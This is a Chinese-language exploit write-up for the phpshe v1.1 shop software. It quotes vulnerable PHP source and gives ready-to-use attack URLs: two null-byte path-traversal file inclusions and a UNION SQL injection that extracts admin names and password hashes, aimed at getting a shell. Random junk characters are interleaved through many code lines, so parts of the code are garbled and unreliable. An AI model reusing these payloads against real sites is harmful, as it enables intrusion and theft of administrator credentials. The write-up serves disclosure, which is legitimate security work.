phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
8 \# |1 t/ ~% t9 T9 v+ a" i/* Phpshe v1.1 Vulnerability
, Q0 q! W& ~: E! T; I0 e  i/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
& B1 x; p2 B, q2 [- `/*******************************************************/
0×00 整体大概参数传输


$ K3 f; a2 |% T; B: W1 @+ x  _( ?
, ~" \& c) s4 c5 O% p. C: t//common.php
" C+ n0 x' T7 R9 d1 Dif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- u' s9 q3 ]3 M: q!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
# \7 t' u9 n* O}
; S2 Y% }! u- l; l& ~3 X( N1 telse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
2 |9 {  `9 f/ q- E0 v, R" j!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 P: G% k: ~8 h; r6 R}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

6 G3 @1 s' v6 |) Y6 Q6 s. E0×01 包含漏洞


//首页文件
8 ]$ m, D5 a3 |  a<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ a" |8 i) @$ D/ [- p2 |& \  _pe_result();
4 w% O- A- A5 z2 n?>
# }: T, Q1 _/ v3 g& R+ o//common 文件 第15行开始
url路由配置
  a# C  M+ \/ Y; s$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
* `# o/ K/ N9 U3 i' F$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 S( m" ?/ {- Q% w$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* j- r! z, r* k//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
/ f; A( M" z7 q8 \& M: [# Z6 j4 o

5 ^8 M! q5 P1 B
0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
" B, H8 H( u+ a7 c5 ?$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
* v2 F- a% n1 n% S  A& k$ k! U. _$sqlwhere = " and `product_state` = 1";
- d# l  n& `4 G* N; |* spe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& A! t$ n! ~$ Q% K  P: X}
% h3 a% G& e; _+ W) S; M$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
5 Q$ T$ f% B, Z6 S5 ]if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
; y% c% e4 |; R2 V" N" C) p. k; V5 Y$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
+ ~% }1 W( U# x* |" N8 selse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* G* d' A2 G- A//热卖排行
2 w- h' @7 ]! Z- ~5 Q$product_hotlist = product_hotlist();
//当前路径
8 j' }& y9 s3 v: o$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
( Q$ i/ K( f& W. O//跟进selectall函数库
0 U" t" {- n' W6 M4 t* j. ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
# i* k9 `* j% r, N{
5 H  q7 T" t, j, K( p9 b6 d//处理条件语句
8 e& G2 _: f9 \% R2 d6 C$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
& B, g5 [2 z" W4 S# ~0 o+ I/ Z//exp
2 f' T* A7 E) Rproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

4 |) w& P8 ]$ _( `foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

6 F1 j+ Y) y( t, q1 iif ($k == 'bank') {

$ n7 H% y. e0 C$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

4 p) n1 V) ]0 q' `}

& U: W* N3 P/ q+ J$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

0 J: w  {+ @* z/ }3 F: b1 [if (isset($_p_pesubmit)) {

6 u1 [, b$ T% f1 |4 Nif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- B# q" x, N1 r  Q1 [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

8 j( g/ w$ i- x$ x) o4 v: [+ {foreach ($info_list as $v) {

' f* b* d) C+ z: C$order['order_name'] .= "{$v['product_name']};";
1 B( k# K* B* G" K( |* @( ~+ I

}

. @0 [* i; h9 z% w5 C% eecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

& Z' e% g5 _2 {else {

* L% D3 P; r- Y9 W* Y9 wpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

- @  K. O' p; x* s& }+ B1 x5 w. i5 }break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- r. n; c" J( {+ M& w6 Phttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg